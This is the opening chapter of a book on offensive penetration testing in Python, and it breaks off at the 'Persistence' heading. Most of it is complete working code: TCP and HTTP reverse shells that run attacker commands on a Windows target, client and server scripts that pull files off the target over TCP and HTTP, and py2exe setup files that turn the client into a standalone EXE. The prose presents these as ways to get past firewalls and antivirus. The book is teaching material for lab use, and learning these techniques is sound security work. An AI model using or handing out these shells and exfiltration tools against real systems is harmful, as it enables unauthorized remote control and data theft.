Python For Offensive PenTest

By Hussam Khrais
  • Instant online access to over 7,500+ books and videos
  • Constantly updated with 100+ new titles each month
  • Breadth and depth in over 1,000+ technologies
  1. Warming up – Your First Antivirus-Free Persistence Shell

About this book

Python is an easy-to-learn and cross-platform programming language that has unlimited third-party libraries. Plenty of open source hacking tools are written in Python, which can be easily integrated within your script.

This book is packed with step-by-step instructions and working examples to make you a skilled penetration tester. It is divided into clear bite-sized chunks, so you can learn at your own pace and focus on the areas of most interest to you. This book will teach you how to code a reverse shell and build an anonymous shell. You will also learn how to hack passwords and perform a privilege escalation on Windows with practical examples. You will set up your own virtual hacking environment in VirtualBox, which will help you run multiple operating systems for your testing environment.

By the end of this book, you will have learned how to code your own scripts and mastered ethical hacking from scratch.

Publication date:
April 2018
Publisher
Packt
Pages
176
ISBN
9781788838979

 

Chapter 1. Warming up – Your First Antivirus-Free Persistence Shell

Nowadays, security solutions such as firewalls, IPS, and sandboxing are becoming more and more advanced to prevent and detect cyber-attacks. So, being an advanced hacker requires you to code your own script and tools to bypass these security solutions.

The following topics will be covered in this chapter:

  • Preparing the attacker machine
  • Preparing the target machine
  • TCP reverse Shell
  • HTTP reverse Shell
  • Persistence
  • Tuning connection attempts
  • Tips for preventing a shell breakdown
  • Countermeasures
 

Preparing the attacker machine


In this section, we will prepare our Kali Linux machine as the attacker. Note that we are assuming that the operating system is already set up in VMware or VirtualBox. As of now, we will be using VirtualBox for all our chapters. 

We can check the version of any Linux OS by running the following cat command to display the content from the file /etc/os-release, which contains OS distribution data. We will be using Kali Linux version 2018.1, as you can see from the following screenshot:

It doesn't matter what your Kali version is. For this book, we will be using the latest version available at the time of writing. Since, by default, Python is preinstalled in every Linux distribution, we can get the version details from either the interactive shell by running the command python or by using python -V, as shown in the following screenshot: 

We will be using Python 2.7.14+ for now, which came preinstalled with our Linux version.

So, let's go for networking a little bit. In this chapter, the Kali IP is 10.0.2.15. We can check the Kali IP by running the ifconfig eth0 command. This will return the network interface configuration as shown here: 

Setting up internet access

To set up the internet on our system, we just need to change the network mode to Network Address Translation (NAT) in VirtualBox. NAT mode will mask all network activity as if it came from your host OS, although VirtualBox can access external resources. To do this, perform the following steps:

  1. Click on the Devices menu from VirtualBox's menu bar
  2. Go to Network and select Network Settings
  3. Select the network mode as NAT and click onOK as shown in the following screenshot:

Once you perform the preceding steps, you should be able to reach the internet, as long as the VirtualBox host does. You can check internet access by running ping 8.8.8.8 from the terminal.

Now, if you don't have a GUI compiler for Python, you can just install it using the following command:

apt-get install idle

Once it's installed, let's do a quick print program using IDLE (using Python-2.7),which we installed using the previous command. Open a new Python file and type print ('hello there'). Run the program and save it on the desktop. Once you finish accessing the internet, you now need to change the network mode back to Internal Network so that we can reach out to our Windows target. This is shown in the following screenshot:

Note

Note that the Windows target globally machine is sitting on the same internal network as Kali attacker globally machine, intnet, here.

And, as a last step, we should verify that we still got the same IP address, which is 10.0.2.15 by running ifconfig in the terminal. 

Note

if the IP changes, you can change the IP back by running ifconfig eth0 10.0.2.15.

 

Preparing the target machine


In this section, we will be preparing our target. We are using a 32-bit Windows 7 machine as our target. We will begin by installing Python 2.7.14+ version from https://www.python.org/downloads/. After you begin the installation, you'll notice that Python will install other handy tools such as pip and easy_install. We will be using pip to install third-party libraries later on.

Similar to what we have done in Kali, we will create a quick and simple Python script just to make sure that everything is working fine. Create a new file. Type print ('hi'), run the script, and save it to the desktop. After this, we need to add Python to our path, so we can start an interactive mode or interactive shell anywhere from the command line. Open a command line and type python; you will see that Windows does not recognize the python.exe application by default, so we've got to add that manually.

Perform the following steps to achieve this:

  1. Go to Advanced system settings | Environment Variables.
  2. In System Variables, scroll down until you reach the variable Path. You will need to append the Python path and the pip path here.
  3. Copy the path where the Python application is installed and append it to the Variable value.
  4. Ensure that you insert a semicolon at the end, just to make sure that you append it to our existing Variable value.
  1. Also, copy the path where pip is installed from the /Scripts folder and append it to the Variable value as shown in the following screenshot: 
  2. Restart the machine so that it recognizes the new values we've just inserted.
  1. After the restart is complete, open a command line and type python and the interactive shell will appear:
  1. Now, to get connectivity with our Kali machine, make sure that the network setting is set to Internal Network and the network name matches the name on the Kali side, which is intnet:
  1. Lastly, we need to give this machine an IP address on the same subnet as the Kali machine. We can change the network settings by going to Network and Internet/Network and Sharing Center from the control panel. Click on the Local Area Connection and then click on Properties. From there, go to Internet Protocol Version 4 (TCP/IPv4), enter the IP address as 10.0.2.10 and the rest as shown in the following screenshot. Then click on OK:

Note

We have installed the Python compiler on the target machine just to have a better way to explain the code and compile it. However, we will compile the Python script into a standalone EXE later on, so it'll work on any target without having a Python compiler installed.

 

TCP reverse shell


In this section, we will have a quick overview of TCP reverse shells, why we need a reverse connection, and what a shell is. The best way to answer these questions is to study the topology shown in the following figure:

Let's say that we have an Attacker connected somewhere on the Internet, and on the right side we have our Target. So technically, we have a PC that is fully patched with a built-in firewall enabled, and we have the corporate firewall in place. And most likely that Corporate firewall is integrated with an IPS module or Antivirus software. So now, for the attacker to access this protected PC, there are two major problems here. First, the attacker needs to bypass the built-in or the host-based firewall on the operating system, which, by default, will block any incoming connection to that PC unless it's explicitly permitted; and the same rule goes for the corporate firewall as well.

But, if the attacker could somehow find a way to send a malicious file to the user, or maybe trick that user into visiting our malicious website and downloading a malicious file, then we might be able to compromise that PC or maybe the whole network. So, in order to bypass the firewall root restriction, we need to make our target, which is the TCP client, initiate the connection back to us. So, in this case, we are acting as a TCP server, and our target, or our victim here, is acting as a TCP client and this is exactly why we need a reverse shell.

Now, we need to understand what a shell is in the first place. If we can initiate a cmd process on the target machine and bind that process to a network socket, in this case, it's called a reverse shell. Hence, when we say that we sent a TCP reverse shell on port 123 to the target machine, it means that once the victim runs the file, we're expecting to receive a reverse TCP connection on port 123. So, the destination port in this case will be 123, and we should be listening on this port. So this port should be open in our Kali machine. Then, after completing the TCP three-way handshake, we can send certain commands to the victim/target, make the victim execute them, and get the result back to us.

Note

Keep in mind that a combination of social engineering and client-side attacks, which we discussed here, is the most powerful type of attack, and is highly likely to succeed.

Coding a TCP reverse shell

In this section, we will call a sample TCP server on the Kali machine and a sample TCP client on the target machine. Then, we will see how to execute some commands remotely from the Kali machine.

Server side

Lets start with the server side. Building a TCP server in Python is quite simple:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2


# Basic TCP Server 


import socket # For Building TCP Connection



def connect():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's'

    s.bind(("10.0.2.15", 8080)) # define the kali IP and the listening port

    s.listen(1) # define the backlog size, since we are expecting a single connection from a single
                                                            # target we will listen to one connection

    print '[+] Listening for incoming TCP connection on port 8080'

    conn, addr = s.accept() # accept() function will return the connection object ID (conn) and will return the client(target) IP address and source
                                # port in a tuple format (IP,port)

    print '[+] We got a connection from: ', addr


    while True:

        command = raw_input("Shell> ") # Get user input and store it in command variable

        if 'terminate' in command: # If we got terminate command, inform the client and close the connect and break the loop
            conn.send('terminate')
            conn.close()
            break

        else:
            conn.send(command) # Otherwise we will send the command to the target
            print conn.recv(1024) # and print the result that we got back

def main ():
    connect()
main()

As you can see from the preceding code, the script starts with importing the socket library, which is responsible for coding a low-level network interface. The AF_INIT defines the socket address as a pair: the host and port. In this case, it will be 10.10.10.100, and the port is 8080. The SOCK_STREAM is the default mode for the socket type. Now, the bind function specifies the Kali IP address and the listening port in a tuple format, which is 10.10.10.100, and we should be listening on port 8080 to receive a connection.

Since we are expecting only a single connection from a single target, we'll be listening for a single connection. So the backlog size, which specifies the maximum number of queued connection, is 1; and we define the listening value to be 1. Now, the accept function returns the value of a pair of connection objects (conn), as well as the address (addr). The address here is the target IP address and the source port used from the target to initiate the connection back to us. Next, we will go into an infinite loop and get our command input and send it to the target machine. This raw input is used to get the user input. If the user input was terminate, we will inform our target that we want to close the session, and then we will close the session from our side. Otherwise, we will send a command to the target, and we will read and print the first KB of the received data from the target side.

Client side

Now, let's look into the client side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2


# Basic TCP Client

import socket # For Building TCP Connection
import subprocess # To start the shell in the system

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's' 
    s.connect(('10.0.2.15', 8080)) # Here we define the Attacker IP and the listening port

    while True: # keep receiving commands from the Kali machine
        command = s.recv(1024) # read the first KB of the tcp socket

        if 'terminate' in command: # if we got terminate order from the attacker, close the socket and break the loop
            s.close()
            break 

        else: # otherwise, we pass the received command to a shell process

            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send( CMD.stdout.read() ) # send back the result
            s.send( CMD.stderr.read() ) # send back the error -if any-, such as syntax error

def main ():
    connect()
main()

We import the subprocess to start the shell and the system. Next, the connection part is quite simple. We define s and socket object, and we specify the IP address of the Kali machine and the port that we should initiate the connection on. The port that we are listening to on the Kali machine should exactly match the port from which we initiate the connection from the target machine. Similar to the server side, we will go into an infinite loop and get the attacker command. If the attacker command is terminate, or if there is a terminate keyword or string in the command, then we close the connection and break the infinite loop, otherwise we will use the subprocess to start a shell in the system. We will pass the command that we have received from the attacker machine to the subprocess, and get the result or the error. Notice that the subprocess has a kind of self-mechanism for exception handling. For instance, if we mistype a certain command on the Kali side and send the wrong syntax to the target, instead of crashing the process, the stderr handles the exception and returns the error.

Let's quickly try our script from the Python IDE that we used earlier for the hello there program. Run the server side first by clicking on Run and selecting Run Module. Just to verify that we have opened a listener on port 8080, run the following command:

 netstat -antp | grep "8080"

As you can see, python2.7 has opened the port and we are listening. Run the target script on the other VirtualBox. As shown in the following screenshot, we've got ten our shell from an IP address of 10.0.2.10, which is the IP address of our Windows machine, and a source port of 49160:

Let's explore the target machine a little bit starting with ipconfig and dir:

Let's go for arp -a. We now get the ARP table on the target machine:

As shown in the previous screenshot, on mistyping a command, instead of crashing the script, the subprocess stderr returns the wrong syntax error.

To quickly recap what we have done here so far, we have built a reverse TCP tunnel and got the user input using the raw input. When we type arp -a, the raw input will get that command and then we will send it to the target machine. Once received at the target side, we initiate cmd as a subprocess, send the error or the result back, and print it out on the target side.

Note

The shell will crash if you hit Enter a couple of times.

Data exfiltration – TCP

In the previous section, we have seen how to navigate target directories. Now we will see how to grab these files. Ensure that, before grabbing any data from the target machine, the rules of engagement explicitly allow this.

Server side

So, let's start with the updated server side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2

# TCP Data Exfiltration Server

import socket 
import os # Needed for file operation



# In the transfer function, we first create a trivial file called "test.png" as a file holder just to hold the 
# received bytes , then we go into infinite loop and store the received data into our file holder "test.png", however
# If the requested file doesn't exist or if we reached the end of the file then we will break the loop
# note that we could know the end of the file, if we received the "DONE" tag from the target side

# Keep in mind that you can enhance the code and dynamically change the test.png to other file extension based on the user input


def transfer(conn,command):

    conn.send(command)
    f = open('/root/Desktop/test.png','wb')
    while True: 
        bits = conn.recv(1024)
        if 'Unable to find out the file' in bits:
            print '[-] Unable to find out the file'
            break
        if bits.endswith('DONE'):
            print '[+] Transfer completed '
            f.close()
            break
        f.write(bits)





def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("10.0.2.15", 8080))
    s.listen(1)
    print '[+] Listening for incoming TCP connection on port 8080'
    conn, addr = s.accept()
    print '[+] We got a connection from: ', addr



    while True: 
        command = raw_input("Shell> ")
        if 'terminate' in command:
            conn.send('terminate')
            conn.close() 
            break


# if we received grab keyword from the user input, then this is an indicator for
# file transfer operation, hence we will call transfer function

# Remember the Formula is grab*<File Path>
# Example: grab*C:\Users\Hussam\Desktop\photo.jpeg

        elif 'grab' in command: 
            transfer(conn,command)

        else:
            conn.send(command) 
            print conn.recv(1024) 

def main ():
    connect()
main()

The elif 'grab' in command: code indicates that this is not a normal command; this command is used to transfer a file. So, both the server and the client must agree on this indicator or formula. Now, the formula will be grab followed by * and the path of the file that we want to grab, for example, grab*C:\Users\Hussam\Desktop\photo.jpeg.

Client side

Now, let's take a look at the client side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2

# TCP Data Exfiltration Client

import socket 
import subprocess 
import os # needed for file operations



# In the transfer function, we first check if the file exists in the first place, if not we will notify the attacker
# otherwise, we will create a loop where each time we iterate we will read 1 KB of the file and send it, since the
# server has no idea about the end of the file we add a tag called 'DONE' to address this issue, finally we close the file


def transfer(s,path):
    if os.path.exists(path):
        f = open(path, 'rb')
        packet = f.read(1024)
        while packet != '':
            s.send(packet) 
            packet = f.read(1024)
        s.send('DONE')
        f.close()

    else: # the file doesn't exist
        s.send('Unable to find out the file')



def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.0.2.15', 8080))

    while True: 
        command = s.recv(1024)

        if 'terminate' in command:
            s.close()
            break 


# if we received grab keyword from the attacker, then this is an indicator for
# file transfer operation, hence we will split the received commands into two
# parts, the second part which we intrested in contains the file path, so we will
# store it into a variable called path and pass it to transfer function

# Remember the Formula is grab*<File Path>
# Example: grab*C:\Users\Hussam\Desktop\photo.jpeg

        elif 'grab' in command: 
            grab,path = command.split('*')

            try: # when it comes to low level file transfer, a lot of things can go wrong, therefore
                                          # we use exception handling (try and except) to protect our script from being crashed
                                          # in case something went wrong, we will send the error that happened and pass the exception
                transfer(s,path)
            except Exception,e:
                s.send ( str(e) ) # send the exception error
                pass



        else:
            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send( CMD.stdout.read() ) 
            s.send( CMD.stderr.read() ) 

def main ():
    connect()
main()

As mentioned previously, both the client and the server must agree on the grab formula. So, on the client side, if we receive a grab string, we will split the command into two sections, the section before * and the section after *, where the second section contains the path and we will store the path in the path variable. Now, to make sure that our script will not crash if something goes wrong during the transfer, we will use the exception handler.

Next, we send the path variable to the transfer function. So, the first thing that we'll do in the transfer function is to check whether the requested file exists in the first place or not. If not, then we'll send the 'Unable to find out the file' message to the server.

Next, we will read the file as pieces or chunks, where each piece or each chunk has a value of 1 KB, and we will loop around until we reach the end of the file. And when we do so, we need to send an indicator or a tag to the server side to indicate that we have reached the end of the file. So, the DONE string in the preceding code block is to indicate that we have reached the end of the file.

Now, on the server side, we create a placeholder or file holder. We will store the received bytes in test.png, which is the file holder here. When the control enters the loop, and each time we read 1 KB of data, it's written into test.png. When it receives the DONE string, it means that we have reached the end of the file. So, the file is closed and the loop ends. Also, if the server gets Unable to find the file, it will print this out and break the loop.

Now, run the server script again and we'll be listening to port 8080. Once we run the script on the target side, we get the shell. Next, proceed to the directory and try to grab Module2.pdf by running the grab*Module2.pdf command: 

When we type the aforementioned command, it will trigger the if statement on both the client side as well as the server side. So, on the target when we receive a grab*Module2.pdf, we will split up this command into two parts. The second part contains Module2.pdf, which is the file that we want to grab. We will store it in the path variable as discussed previously. The code will check whether the file exists, read it in chunks, and send it over to the server side. This gives a response at the server side: [+] Transfer completed.

Find the file on your desktop, it's called 1.txt now, change the file extension to .pdf, and rename the file, since we know that this is not an image but only a placeholder. Now, open Module2.pdf using any PDF reader just to make sure that the file is not corrupt. It'll open without any errors if it hasn't been corrupted.

Let's try with another one. Now, we'll grab Tulips.png:

Since the file that we want to grab has the same extension as our file holder, which is .png, we don't need to change the file extension.

Try to grab any file that exists but the same rule applies here: change the name of the file with its original extension. Let's try with a file that does not exist. Go back to our shell, and type grab*blaaaah.exe and it will throw an error, as shown in the following image:

 

This will crash our script on the target side, which you will see when you run ipconfig.

You were probably expecting us to use a well-known protocol such as FTP, SCP, or secure FTP to do the file transfer. But we used a very low-level file transfer over a TCP socket, so you might ask why we performed it. Since these well-known protocols could be blocked on the firewall, we won't be able to grab any files out. What we have done here is, instead of initiating a new channel every time we want to transfer a file which may trigger the admin's attention, create a single TCP socket, a single session, to gain access, doing a remote shell, as well as for file transfer. This type of transfer is called an inline transfer, where we got a single channel and a single session to perform all the desired actions.

Exporting to EXE

There are multiple methods to export your Python script into a standalone EXE file. Today we'll use py2exe library. You can download the py2exe-0.6.9.win32-py2.7.exe version from https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/.

First, proceed to install this library. It is a fairly simple process just follow the on-screen prompts.

After you've finished the installation, open a Python window on the Windows machine and import py2exe just to make sure that we can import this library without any exceptions. Type python and then import py2exe. If it doesn't throw a error, you're successful:

Now, create a folder named Toexe on your desktop. In this folder, you should have three things: the py2exe binary file, py2exe setup file, and your Client.py script file. For simplicity, rename the binary to py2exe.

The setup file, setup.py, will set the criteria for the final standalone EXE file:

# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/


from distutils.core import setup
import py2exe , sys, os



sys.argv.append("py2exe")
setup(
    options = {'py2exe': {'bundle_files': 1}},

    windows = [{'script': "Client.py"}], 
    zipfile = None,

)

In the setup.py script, we start by appending the py2exe binary into our directory. Then, we set the bundle_files to1. Define the name of our script,Client.py. Setzipfileto None and run thissetupfile.

Two folders will be created, called build and dist , after performing the aforementioned steps, as shown in the following screenshot:

So under the dist folder, we got our Client.exe as a standalone, without any dependencies. Now, on running Client.exe, we will get the connection (provided the server script from the previous section Data exfiltration, is running on the Kali side) and we can see that a the Client.exe process has been created on the Windows Task Manager, as shown in the following screenshot:

So once again, perform a quick verification as follows:

  1. Run ipconfig
  2. Navigate through the directories
  3. Grab a file such as Koala.png and wait for its successful transfer:
  1. Change the file extension to .png
  2. Now, open the image and, after successfully viewing it, terminate the Client.exe process
  3. Execute terminate in the shell on your Kali machine
  4. Once you hit Enter, it gets terminated on the target machine
 

HTTP reverse shell


In this section, we will discuss a higher-level Python reverse shell, which will be carried over the HTTP protocol. The HTTP protocol is highly likely to be opened on the outbound or egress firewall rules, since it's used for web surfing. Also, a lot of HTTP traffic is required in every network, which makes monitoring much harder and the chances of us slipping up are high. Let's see how it works.

First, we'll configure a simple HTTP server and a simple HTTP client and we'll use the GET and POST methods to send data back and forth between these two entities. So, as mentioned earlier, the client will initiate a reverse HTTP session back to our server using a GET method and on the server side, once we receive a GET request, we'll start taking commands using raw input, and we will send that command back to the target.

Once we give the command to the target, it'll initiate a subprocess: a cmd.exe subprocess. Pass the command to that subprocess and it will post the result back to us using the POST method. Just to make sure there is continuity for our shell, we will perform sleep for 3 seconds. Then we will repeat the whole process all over again using the while True: infinite loop. The code is much simpler than the previous TCP socket, especially in the file transfer section, and this is because we are using a high-level protocol to transfer the files and data. The next section deals with the coding part.

Coding the HTTP reverse shell

In this section, we'll cover the coding part for an HTTP reverse shell. On the client side, we'll be using a very high-level library to send our GET and POST requests. 

The library called Requests, which is available at https://pypi.python.org/pypi/requests/2.7.0#downloads, will make it much easier to do a GET or POST request in only a single line. Requests is a third-party library, so let's start by installing it. All you have to do is navigate through the Command Prompt to the folder that contains its setup file and issue python setup.py install.

To verify that the library has been installed successfully, open the Python interpreter, like we did earlier for  py2exe , and enter import requests. If no exceptions are thrown here, we're good to go:

Server side

The following block of code is on the server side:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2


# Basic HTTP Server


import BaseHTTPServer # Built-in library we use to build simple HTTP server 

HOST_NAME = '10.10.10.100' # Kali IP address 
PORT_NUMBER = 80 # Listening port number 


class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): # MyHandler defines what we should do when we receive a GET/POST request
                                                          # from the client / target

    def do_GET(s):
                                         #If we got a GET request, we will:- 
        command = raw_input("Shell> ") #take user input
        s.send_response(200) #return HTML status 200 (OK)
        s.send_header("Content-type", "text/html") # Inform the target that content type header is "text/html"
        s.end_headers()
        s.wfile.write(command) #send the command which we got from the user input


    def do_POST(s):
                                                     #If we got a POST, we will:- 
        s.send_response(200) #return HTML status 200 (OK)
        s.end_headers()
        length = int(s.headers['Content-Length']) #Define the length which means how many bytes the HTTP POST data contains, the length
                                                     #value has to be integer 
        postVar = s.rfile.read(length) # Read then print the posted data
        print postVar



if __name__ == '__main__':


    # We start a server_class and create httpd object and pass our kali IP,port number and class handler(MyHandler)

    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)



    try: 
        httpd.serve_forever() # start the HTTP server, however if we got ctrl+c we will Interrupt and stop the server
    except KeyboardInterrupt: 
        print '[!] Server is terminated'
        httpd.server_close()

On the server side, we'll use a built-in library named BaseHTTPServer, to build a basic HTTP server, which handles the client requests. Next, we define our Kali IP and the listening port address by settingPORT_NUMBER to 80. Then, we create aserver_classandhttpdobject, and we will pass our listener IP, thePORT_NUMBER, and a class handler MyHandler to theserver_class. The class handlerMyHandlerdefines what should be done when the server receives aGETorPOSTrequest. The server will run forever without coding awhile True:.

Now, if the server gets a GET request, it will grab the user input using the raw input and will send back an HTML status, 200, which means OK. Now, the send_header() specifies the header field definition. It's mandatory to set this value since our HTTP client has to know the type of data. In this case, it's HTML text, text/html. Thewfile.write() function is equivalent to sending data in our previous TCP shell, and we will be using this function to send the command that the user has input to our target.

If the server gets a POST request first, similar to GET, we will return an HTML status 200 to say that we got the POST without any problem. The s.headers['Content-Length'] specifies how many bytes the HTTP POST data contains. Note that the returned value is a string, but it has to be converted to an integer before passing it as a parameter to rfile.read(). We will use the integer function to perform this. Finally, we'll print the postVar variable, and in this case it'll be the command execution output. The server will run forever using the serve_forever() function without coding a while True:. However, if we invoke Ctrl + C from the keyboard, it will break the loop.

Client side

The following block of code is on the client side:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2


# Basic HTTP Client


import requests # Download Link https://pypi.python.org/pypi/requests#downloads , just extract the rar file and follow the video :)
import subprocess 
import time


while True: 

    req = requests.get('http://10.0.2.15') # Send GET request to our kali server
    command = req.text # Store the received txt into command variable

    if 'terminate' in command:
        break 

    else:
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() ) # POST the result 
        post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() ) # or the error -if any-

    time.sleep(3)

Here, we use the subprocess to create a shell, and then we create a GET request to our Kali server. Note that the req.text function returns the text that we have got from sending the GET request. In this case, text is the command that we should execute. Now, once we get the command, we will start a subprocess, and the execution result or error will be sent as a POST method in just a single line. Then, the process will sleep for 3 seconds, and repeat all over again. This time.sleep() part is just to be on the safe side—in case we get a packet drop or unexpected error.

Note

Also, you can enhance this script by adding some exception handling using the try and except functions.

Once we proceed to run the script on both sides, we will get our shell on the server side and try navigating through the current working directories. Execute ipconfig and you'll get the complete IP configuration. Now, mistype a command and the error message will be thrown, as shown in the following output:

At the end we terminate the session by executing terminate on the server side. Once we do this, we exit our script on the client side, whereas to exit the script on the server side we need to hit on Ctrl + C on the keyboard to terminate the loop. The server will terminate by showing a [!] Server is terminated message.

Data exfiltration – HTTP

As we did with our TCP reverse shell, we will do a file transfer from the target machine back to the attacker machine.

Client side

Thankfully, the Requests library supports submitting a file in just two lines:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2

# HTTP Data Exfiltration Client

import requests 
import subprocess 
import os
import time


while True: 

    req = requests.get('http://10.0.2.15')
    command = req.text

    if 'terminate' in command:
        break # end the loop


# Now similar to what we have done in our TCP reverse shell, we check if file exists in the first place, if not then we 
# notify our attacker that we are unable to find the file, but if the file is there then we will :-
# 1.Append /store in the URL
# 2.Add a dictionary key called 'file'
# 3.requests library use POST method called "multipart/form-data" when submitting files

#All of the above points will be used on the server side to distinguish that this POST is for submitting a file NOT a usual command output
#Please see the server script for more details on how we can use these points to get the file


    elif 'grab' in command:

        grab,path=command.split('*') # split the received grab command into two parts and store the second part in path variable

        if os.path.exists(path): # check if the file is there

            url = 'http://10.0.2.15/store' # Appended /store in the URL
            files = {'file': open(path, 'rb')} # Add a dictionary key called 'file' where the key value is the file itself
            r = requests.post(url, files=files) # Send the file and behind the scenes, requests library use POST method called "multipart/form-data"

        else:
            post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' )

    else:
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() )
        post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() )

    time.sleep(3)

Here, we will perform the same process as we did in the TCP socket. If we get a grab command from the attacker machine, we will split this command into two parts, where the second part contains the path directory or the path for the file that we want to grab. Next, we will check whether the file is there. If not, we will notify the server about it immediately. Now, in case the file was there, notice that we have appended /store to our URL, url = 'http://10.0.2.15/store' as an indicator that we will be transferring a file, not a normal cmd output since both use the POST method to transmit data. So, for instance, when we send a file, let's say x.doc, we will send it with a /store in the URL. Also, the Requests library uses a special POST method called multipart/form-data to submit or send a file.

Server side

Now, on the server side, we've imported a new library called cgi. This one is used to handle the received file and store it locally. The following is the server side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2


# HTTP Data Exfiltration Server

import BaseHTTPServer

import os, cgi

HOST_NAME = '10.0.2.15' 
PORT_NUMBER = 80 



class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def do_GET(s):

        command = raw_input("Shell> ")
        s.send_response(200)
        s.send_header("Content-type", "text/html")
        s.end_headers()
        s.wfile.write(command)

    def do_POST(s):

        # Here we will use the points which we mentioned in the Client side, as a start if the "/store" was in the URL
        # then this is a POST used for file transfer so we will parse the POST header, if its value was 'multipart/form-data' then we
        # will pass the POST parameters to FieldStorage class, the "fs" object contains the returned values from FieldStorage in dictionary fashion


        if s.path == '/store':
            try:
                ctype, pdict = cgi.parse_header(s.headers.getheader('content-type'))
                if ctype == 'multipart/form-data' :
                    fs = cgi.FieldStorage( fp = s.rfile, 
                                        headers = s.headers, 
                                        environ={ 'REQUEST_METHOD':'POST' } 
                                      )
                else:
                    print "[-] Unexpected POST request"

                fs_up = fs['file'] # Remember, on the client side we submitted the file in dictionary fashion, and we used the key 'file'
                                    # to hold the actual file. Now here to retrieve the actual file, we use the corresponding key 'file'

                with open('/root/Desktop/1.txt', 'wb') as o: # create a file holder called '1.txt' and write the received file into this '1.txt' 
                    o.write( fs_up.file.read() )
                    s.send_response(200)
                    s.end_headers()
            except Exception as e:
                print e

            return # once we store the received file in our file holder, we exit the function

        s.send_response(200)
        s.end_headers()
        length = int(s.headers['Content-Length'])
        postVar = s.rfile.read(length )
        print postVar



if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print '[!] Server is terminated'
        httpd.server_close()

If we receive a POST with a /store in the URL and the content type as multipart/form-data, it means that we'll get a file from the target machine, not the usual command output. Then, we need to pass the received file, headers, and REQUEST_METHOD to the FieldStorage class. The returned value of FieldStorage can be indexed like a Python dictionary, where we have a key and a corresponding value. For instance, if we create a Python dictionary called D with a key K and value v as follows:

To get the value, v , we just need to have the corresponding key, K. On the client side, when we submitted the file, we attached a tag or key called files ='file'. So, we will use this tag or key on the server side to receive that file. The FieldStorage will grab the keys and its values and store them in an object calledfs. But we're only interested in the value offile, which is the tag or key that contains the actual file we sent. Once we get that value, we will write it into a placeholder called1.txt. In the end, we exit the function to prevent any mix-up with ongoing file transfer posts.

To initiate the file transfer, perform the following steps:

  1. Run the code the usual way on both machines (Run | Run Module)
  2. Once we get the Shell>, proceed to perform a directory search with the dir command and try to grab a file, say putty.exe, by running the grab command, grab*putty.exe
  3.  Once we get the file on our server machine, rename the placeholder to putty.exe and verify that we have  putty.exe running fine without any file corruption. This can be done by executing the following from the Command Prompt:
wine putty.exe
  1. Go back to the shell and grab another file, say password.txt, just to test it.
  2. Check whether you can read the contents after renaming the placeholder
  3. Try to grab a non-existing file; you'll be presented with an error since it does not exist in the first place

Exporting to EXE

In this section, similar to what we have done in our TCP socket, we will export and test our HTTP reverse shell into an EXE, and test it after that.

Here, also you need to create a folder named Toexe on your desktop. As mentioned earlier, the py2exe binary file, the py2exe setup file, and the HTTP_Client.py script file should be in the folder. 

The setup file, setup.py, will be as shown here:

# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/

# HTTP Exporting to EXE Client Setup

from distutils.core import setup
import py2exe , sys, os



sys.argv.append("py2exe")
setup(
    options = {'py2exe': {'bundle_files': 1}},

    windows = [{'script': "HTTP_Client.py"}], 
    zipfile = None,

)

Perform the following steps to initiate the export:

  1. Start by editing the setup file  py2exe and change Client.py into HTTP_Client.py, which is the name of our script on the target side.
  2. Execute the setup.py script.
  3. Once we have finished, we will go to the dist folder and copy HTTP_Client.py to the desktop.
  4. Ensure that the server is already running. Once we get the Shell>, go to the directories using the dir.
  5. Try to grab a file, say grab*password.txt, as we did in the previous sections.
  6. After getting the file successfully on the server side, try other simple commands such as cd and whoami.
  7. Try typing an incorrect command and check whether you are getting the proper error message
  8. At the end, terminate the session from our shell by executing the terminate command
  9. You can check to see that we have the HTTP_Client.exe process on our Windows machine; once we execute terminate, the process will disappear from the list confirming its termination
 

Persistence


